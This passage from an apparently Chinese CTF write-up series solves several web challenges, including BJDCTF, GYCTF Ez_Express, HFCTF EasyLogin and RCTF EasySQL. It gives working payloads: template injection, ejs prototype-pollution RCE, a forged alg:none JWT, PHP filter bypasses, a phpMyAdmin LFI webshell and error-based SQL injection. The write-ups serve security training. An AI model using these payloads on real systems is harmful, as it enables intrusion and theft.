相当于 根据 post data 给出了变量名和其对应的值

所以 post data 中不能有 名为 flag 的key

第二个 foreach

1
2
3
foreach($_GET as $x => $y){
$$x = $$y;
}

相当于 根据query string ,给出了变量名和其对应值,这个值来自另外的变量

第三个 foreach

1
2
3
4
5
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

query string 中,所有key ,要么为 flag, 要么 不要和 $_GET[“flag”] 强相等

下一个 if

1
2
3
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

post data 和 query string 中要有一个 key 为 flag

最后一个 if

1
2
3
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
exit($is);
}

$_POST[“flag”] 不能强等于 “flag”

$_GET[“flag”] 不能强等于 “flag”

正常的思路,是绕过重重判断,最后执行 echo

但是 exit函数实际上也能把 变量值带出来,打印到页面上

1
2
?yds=flag
post data 没内容

在这个判断,调用了 exit

1
2
3
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

从而把 flag 带了出来

1
flag{8af65832-81fc-44b1-aa62-2844a12627ce}

0x0d [BJDCTF2020]The mystery of ip

扫一扫

有个 flag.php,但是点进去之后,是打印了个 ip

image-20210312182002138

看看 hint.php

image-20210312181302001

猜测后台可能是用了 $_SERVER[“REMOTE_ADDR”]

也可能是 $_SERVER[‘HTTP_X_FORWARDED_FOR’]

也可能是 $_SERVER[‘HTTP_CLENT_IP’]

并且可能用到模板注入

image-20210312183749396

果然有模板注入

而且使用的是 smarty

1
2
3
/flag.php?a=1

Client-IP: {$smarty.get.a}

image-20210312184045950

1
Client-IP: {system("nl /*")}

得到flag

image-20210312184132822

1
flag{d68f1f36-65a9-4ae0-9e71-d7ed30e53ee9}

0x0e [BJDCTF2020]Cookie is so stable

扫一扫

看看 hint.php

image-20210312184658828

看看 flag.php

试试看改 cookie ,发现是模板注入,是 twig

直接注入

1
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{_self.env.getFilter("nl /*")}}

image-20210327143935311

1
flag{a1ec5402-0901-4f1d-beb2-5f58e59576cb}

0x0f [GYCTF2020]Ez_Express

先扫一扫

image-20210329070953638

提示使用 admin 登录

image-20210329071020910

有个 www.zip

下载来看看

看看 package.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"name": "web",
"version": "0.0.0",
"private": true,
"scripts": {
"start": "nodemon ./bin/www"
},
"dependencies": {
"cookie-parser": "~1.4.4",
"debug": "~2.6.9",
"ejs": "~2.6.1",
"express": "~4.16.1",
"express-session": "^1.17.0",
"http-errors": "~1.6.3",
"lodash": "^4.17.15",
"morgan": "~1.9.1",
"randomatic": "^3.1.1"
}
}

这些使用的模块,可能有漏洞可以利用

看看主模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
const session = require('express-session')
const randomize = require('randomatic')
const bodyParser = require('body-parser')

var indexRouter = require('./routes/index');

var app = express();

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
app.disable('etag');
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use(session({
name: 'session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));

app.use('/', indexRouter);

// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};

// render the error page
res.status(err.status || 500);
res.render('error');
});

module.exports = app;

好像没什么,有个 可以创造 session 的语句

1
2
3
4
5
6
app.use(session({
name: 'session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))

不知道能不能用

看看 indexRouter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}

return undefined
}

router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
res.render('login');
});



router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

有个 merge 操作

1
2
3
4
5
6
7
8
9
10
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}

可能会利用原型链污染

register 的时候,会对 req.body.userid 进行安全检查

1
2
3
4
5
6
7
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}

return undefined
}

里面如果有 admin 好像就会被发觉,没问题的话,就在 req.session里面加一个

1
2
3
4
5
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}

login 的时候

1
2
3
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}

直接匹配 ,req.body.userid 和 req.body.pwd

有个 /action ,不过只有满足这个条件,才能访问

1
req.session.user.user=="ADMIN"

会调用

1
req.session.user.data = clone(req.body);

从而进行原型链污染

已知 nodejs 的 toUpperCase 有一个漏洞

1
"ı".toUpperCase() ==> "I"

所以注册一个

1
admın

然后就登录上了

image-20210329130935037

然后就可以访问 /action,从而调用 clone 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
req.session.user.data = clone(req.body);

访问 /info 的话,会对 index.ejs 进行渲染, res.outputFunctionName 将会填入其中

req.body 默认是 undefined ,看了看代码,用了 这个

1
app.use(express.json());

因而 post data 要写成 json 的形式

抓个包,改一下

1
Content-Type: application/x-www-form-urlencoded

改成

1
Content-Type: application/json

ejs.js 有个 rce 漏洞

在 ejs.js 中,有类似这样的代码

1
2
fn = new Function("escapeFn , include , rethrow" , src);
return fn.apply()

而其中的 src ,类似于这样

1
2
src = prepended +this.source + appended
prepended = "var "+opts.outputFunctionName + "__append" + "sth" + opts.destructuredLocals[0] +opts.destructuredLocals[1] + opts.destructuredLocals[2] + 一直加到底 + "sth" +"with("+ opts.localsName

也就是说,可以通过改变 Object.prototype.outputFunctionName 来执行任意代码

1
; return global.process.mainModule.require("child_process").execSync("nl /*").toString(); //

写个脚本得到 ,要送上的 json

1
2
3
4
data = {"lua":"hello","Submit":"","__proto__":{"outputFunctionName":'a=0; return global.process.mainModule.require("child_process").execSync("nl /flag").toString(); //'}}
import json
print(json.dumps(data))
print(len(json.dumps(data)))
1
{"lua": "hello", "Submit": "", "__proto__": {"outputFunctionName": "a=0; return global.process.mainModule.require(\"child_process\").execSync(\"nl /flag\").toString(); //"}}

image-20210329173710379

1
flag{fcf326c7-4480-4f47-a6c8-62926f6cf394}

0x10 [HFCTF2020]EasyLogin

搜集一波信息

扫一扫目录

有 app.js ,有 package.json

看看前端

image-20210405082930916

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/

function login() {
const username = $("#username").val();
const password = $("#password").val();
const token = sessionStorage.getItem("token");
$.post("/api/login", {username, password, authorization:token})
.done(function(data) {
const {status} = data;
if(status) {
document.location = "/home";
}
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

function register() {
const username = $("#username").val();
const password = $("#password").val();
$.post("/api/register", {username, password})
.done(function(data) {
const { token } = data;
sessionStorage.setItem('token', token);
document.location = "/login";
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

function logout() {
$.get('/api/logout').done(function(data) {
const {status} = data;
if(status) {
document.location = '/login';
}
});
}

function getflag() {
$.get('/api/flag').done(function(data) {
const {flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

调用getflag 函数,如果成功,就会把flag 赋值给 id 为 username 的元素

静态文件的直接放在根目录

Cookie 中看到

1
sses:aok=eyJ1c2VybmFtZSI6bnVsbCwiX2V4cGlyZSI6MTYxOTA1NTgzOTc5MSwiX21heEFnZSI6ODY0MDAwMDB9

base64decode 一下,发现是

1
{"username":null,"_expire":1619055839791,"_maxAge":86400000}

试试看更改 username,好像没什么用

1
2
3
4
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/

搜了一下 koa-static 的用法

1
2
3
4
5
var Koa=require('koa');
const static = require('koa-static')
var app=new Koa();
app.use(static(__dirname+'/static'));
app.use(static(__dirname+'/assert'));

向服务器发出请求后,该koa 中间件,会首先访问对应的文件,确定是否存在,如果不存在,则访问 static 函数指定的文件夹,在其中寻找文件

根据提示 估计用了这样的代码

1
app.use(static(__dirname));

扫一扫目录,确实发现了 app.js,打开看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
const Koa = require('koa');
const bodyParser = require('koa-bodyparser');
const session = require('koa-session');
const static = require('koa-static');
const views = require('koa-views');

const crypto = require('crypto');
const { resolve } = require('path');

const rest = require('./rest');
const controller = require('./controller');

const PORT = 3000;
const app = new Koa();

app.keys = [crypto.randomBytes(16).toString('hex')];
global.secrets = [];

app.use(static(resolve(__dirname, '.')));

app.use(views(resolve(__dirname, './views'), {
extension: 'pug'
}));

app.use(session({key: 'sses:aok', maxAge: 86400000}, app));

// parse request body:
app.use(bodyParser());

// prepare restful service
app.use(rest.restify());

// add controllers:
app.use(controller());

app.listen(PORT);
console.log(`app started at port ${PORT}...`);

看看 rest.js 和 controller.js

controller.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const fs = require('fs');

function addMapping(router, mapping) {
for (const url in mapping) {
if (url.startsWith('GET ')) {
const path = url.substring(4);
router.get(path, mapping[url]);
} else if (url.startsWith('POST ')) {
const path = url.substring(5);
router.post(path, mapping[url]);
} else {
console.log(`invalid URL: ${url}`);
}
}
}

function addControllers(router, dir) {
fs.readdirSync(__dirname + '/' + dir).filter(f => {
return f.endsWith('.js');
}).forEach(f => {
const mapping = require(__dirname + '/' + dir + '/' + f);
addMapping(router, mapping);
});
}

module.exports = (dir) => {
const controllers_dir = dir || 'controllers';
const router = require('koa-router')();
addControllers(router, controllers_dir);
return router.routes();
};

rest.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
module.exports = {
APIError: function (code, message) {
this.code = code || 'internal:unknown_error';
this.message = message || '';
},
restify: () => {
const pathPrefix = '/api/';
return async (ctx, next) => {
if (ctx.request.path.startsWith(pathPrefix)) {
ctx.rest = data => {
ctx.response.type = 'application/json';
ctx.response.body = data;
};
try {
await next();
} catch (e) {
ctx.response.status = 400;
ctx.response.type = 'application/json';
ctx.response.body = {
code: e.code || 'internal_error',
message: e.message || ''
};
}
} else {
await next();
}
};
}
};

package.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"name": "untitled17",
"version": "1.0.0",
"description": "",
"main": "app.js",
"scripts": {
"test": "npm start"
},
"dependencies": {
"jsonwebtoken": "^8.5.1",
"koa": "^2.11.0",
"koa-bodyparser": "^4.2.1",
"koa-jwt": "^3.6.0",
"koa-router": "^7.4.0",
"koa-session": "^5.12.3",
"koa-static": "^5.0.0",
"koa-views": "^6.2.1",
"pug": "^2.0.4"
}
}

读了读 controllers.js ,判断应该存在一个 controllers 目录,下面是一堆 js

去扫描一下

1
2
[14:00:41] 200 -    2KB - /controllers/api.js
[14:00:46] 200 - 929B - /controllers/view.js

下载来看看

api.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

view.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
module.exports = {
'GET /': async (ctx, next) => {
ctx.status = 302;
ctx.redirect('/home');
},
'GET /login': async (ctx, next) => {
if(ctx.session.username) {
ctx.status = 302;
await ctx.redirect('/home');
} else {
await ctx.render('login');
await next();
}
},
'GET /register': async (ctx, next) => {
if(ctx.session.username) {
ctx.status = 302;
await ctx.redirect('/home');
} else {
await ctx.render('register');
await next();
}
},
'GET /home': async (ctx, next) => {
if(!ctx.session.username) {
ctx.status = 302;
await ctx.redirect('/login');
} else {
await ctx.render('home', {
username: ctx.session.username,
});
await next();
}
}
};

读了读 api.js

发现login 竟然是用 jwt 来验证身份的

先从 header 得到 token,即 jwt ,然后 verify 一下,看看 jwt 格式是否正确,即 头部 与 head 和 signature 是否匹配

然后 从 jwt 从取出 username 和 password 与 post data 中的数据进行核对

现在就想着伪造 jwt ,但是如果伪造的jwt 用一些奇怪的加密算法,那就必须知道 secret ,否则 verify 这一步就过不去,但是如果 algorithm 用的 none ,那就能 verify 过去了,直接不用考虑 secret

因而直接伪造一个 admin 身份

还有一个 东西要绕过

1
2
3
4
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

sid 不能为 空,而且要满足

1
sid < global.secrets.length && sid >= 0

因而 , sid 可以为 []0""

1
2
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});

为了核实 alg : “none” 的 jwt ,必须是的 secret 为 undefined 或者 null,那么 sid 只能取 "" 或者 []

1
2
3
4
5
6
7
const jwt = require('jsonwebtoken');
s = jwt.sign({
secretid: "",
username: "admin",
password: "admin",
},"",{algorithm:"none"});
console.log(s);
1
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6IiIsInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluIiwiaWF0IjoxNjE4OTk0ODM0fQ.

直接 login 进去

1
username=admin&password=admin&authorization=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6IiIsInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluIiwiaWF0IjoxNjE4OTk0ODM0fQ.

image-20210421164757290

登录完成,点击 getflag

image-20210421164645042

1
flag{61884feb-d96a-4441-9a57-0fb9eec6883a}

0x11 [BJDCTF2020]EzPHP

1
2
<!-- Here is the real page =w= -->
<!-- GFXEIM3YFZYGQ4A= -->

可能是 base64 或者 base32

都试试看

base32 得到

1
1nD3x.php

访问看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
 <?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

php 代码审计

一个个绕过

1
2
3
4
5
6
if($_SERVER) { 
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
1
$_SERVER['QUERY_STRING']

返回 url 中 ? 后面的东西,不会做任何处理,即不会 urldecode

所以用 urlencode 来绕过

第二个

1
2
3
4
5
6
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

很简单的,如果没有 /m ,则 ^ 和 $ 默认只对第一行,即 第一个 /n 前面的东西进行匹配 /^aqua_is_cute$/ 的意思是,第一个 /n 之前的东西为 aqua_is_cute

1
debu=aqua_is_cute%0a

下一个

1
2
3
4
5
6
if($_REQUEST) { 
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

考虑 $_REQUEST 当中的内容

可以认为

1
$_REQUEST = $_POST + $_GET

$_POST 中的 key 优先存储

下一个

1
2
3
$file = $_GET["file"]; 
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

下一个

1
2
3
4
5
6
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

直接

1
shana[]=1&passwd[]=2

最终

1
$code('', $arg);

所以注意 $_GET[“flag”]

1
flag[code]=creat_function&flag[arg]=} print_r(get_defined_vars);//

直接上

1
file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute\n&shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=};var_dump(get_defined_vars());//

urlencode

1
%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%63%6f%64%65]=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67[%61%72%67]=%7d%3b%76%61%72%5f%64%75%6d%70%28%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73%28%29%29%3b%2f%2f

image-20210407170402756

1
rea1fl4g.php

访问看看

image-20210407170628561

看来要读 这个文件

把引号给拦截了,但是可以使用无需引号的函数

require

1
file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute\n&shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=};require([]);//

但是require 中的一些字符被拦截了

image-20210407171306489

可以用 ~ 取反绕过

1
2
<?php
echo urlencode(~"php://filter/read=convert.base64-encode/resource=rea1fl4g.php");
1
%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F

最终的payload

1
%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%63%6f%64%65]=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67[%61%72%67]=%7d%3b%72%65%71%75%69%72%65%28~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F%29%3b%2f%2f

image-20210407171833636

base64decode

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<title>Real_Flag In Here!!!</title>
</head>
</html>
<?php
echo "咦,你居然找到我了?!不过看到这句话也不代表你就能拿到flag哦!";
$f4ke_flag = "BJD{1am_a_fake_f41111g23333}";
$rea1_f1114g = "flag{c50ea8db-07ef-4a97-beae-f6449293d723}";
unset($rea1_f1114g);

0x12 [GWCTF 2019]我有一个数据库

给了乱码,估计是编码出了问题

扫一扫吧

image-20210410002020972

有个 phpinfo.php

1
2
session.save_path	/var/lib/php/sessions	/var/lib/php/sessions
session.serialize_handler php php

看看 phpmyadmin

1
版本信息: 4.8.1

有个 cve

1
CVE-2018-12613

先来一波查询

1
SELECT "<?php eval($_GET['cmd']);?>"

image-20210410165416434

看看 sessionid

1
co7tib1sbvd0ilk9hl314u72jj

image-20210410170605785

对应的文件为

1
/var/lib/php/sessions/sess_co7tib1sbvd0ilk9hl314u72jj

包含看看

1
http://4c3e7416-70bd-49d9-b082-f1d9fb7f8bd5.node3.buuoj.cn/phpmyadmin/?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_co7tib1sbvd0ilk9hl314u72jj&cmd=phpinfo();

image-20210410170542483

去找 flag

先看看 disable_functions

image-20210410170800856

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals
1
http://4c3e7416-70bd-49d9-b082-f1d9fb7f8bd5.node3.buuoj.cn/phpmyadmin/?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_co7tib1sbvd0ilk9hl314u72jj&cmd=system('nl /*');

得到flag

1
flag{5f048a28-981c-4b42-b349-c73c8f8e5dcd}

0x13 [RCTF2015]EasySQL

登录之后,能change password

大概率是 二次注入

登录和注册页面都fuzz 了一下,啥也没有

注册了一个 名为

1
admin\

的账户

image-20210410204239870

最后在 change password 的时候报错了

可以推测,开始注册的时候,用了 insert 语句,admin\ 是经过 escape 之后被放到 sql 语句中的

而 change password 的时候,用到了 select 语句,大概如下

1
select * from user where username = $user and pwd = '...'

这个 $user 来自数据库,但是放到 select 语句当中的时候,忘记 escape,从而导致了报错

会报 systax error 所以用报错注入试试看

1
admin"||updatexml(1,concat(0x7e,user(),0x7e),1)#

image-20210410212525483

果然可以,那就没什么问题了

fuzz 一下,拦截了这些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
!(<>)
%0A
%0a
%0c
%0d
%20
%09
+
--+
/**/
<
<>
@
AND
ANd
BENCHMARK
DELETE
FLOOR
INFILE
INSERT
LEFT
LIKE
Left
LiKe
ORD
ORDER
OUTFILE
RLIKE
SLEEp
VARCHAR
`
anandd
and
ascii
benchmark
char
delete
file
floor
handler
hex
insERT
insert
left
like
load_file
mid
ord
order
order
outfile
pg_sleep
rand()
right
rlike
sleep
substr
substring
sys schemma

直接去找 flag

1
admin"||updatexml(1,concat(0x7e,(SELECT(group_concat(table_name))FROM(information_schema.tables)where(table_schema=database()))),1)#

image-20210411114631369

1
admin"||updatexml(1,concat(0x7e,(SELECT(group_concat(column_name))FROM(information_schema.columns)where(table_name='flag'))),1)#

image-20210411115435430

去看 flag 表的 flag 字段

1
admin"||updatexml(1,concat(0x7e,(SELECT(group_concat(flag))FROM(flag))),1)#
1
XPATH syntax error: '~RCTF{Good job! But flag not her'

flag 看来不在这个表中

去找 flag

users 表的字段

1
admin"||updatexml(1,(SELECT(group_concat(column_name))FROM(information_schema.columns)where(table_name='users')),1)#

image-20210411135224238

1
name,pwd,email,real_flag_1s_here
1
admin"||updatexml(1,concat(0x7e,(SELECT(group_concat(real_flag_1s_here))FROM(users)where((real_flag_1s_here)regexp('\{')))),1)#

image-20210411140931449

1
XPATH syntax error: '~flag{1579a358-728d-4009-bf5a-1e'

还有一部分没出来

1
admin"||updatexml(1,concat(0x7e,reverse((SELECT(group_concat(real_flag_1s_here))FROM(users)where((real_flag_1s_here)regexp('\{'))))),1)#
1
XPATH syntax error: '~}e7630cfb71e1-a5fb-9004-d827-85'
1
'58-728d-4009-bf5a-1e17bfc0367e}~' :rorre xatnys HTAPX

因而得到 flag

1
flag{1579a358-728d-4009-bf5a-1e17bfc0367e}

0x14 [安洵杯 2019]easy_web

看看源码

image-20210413135544332

还有个

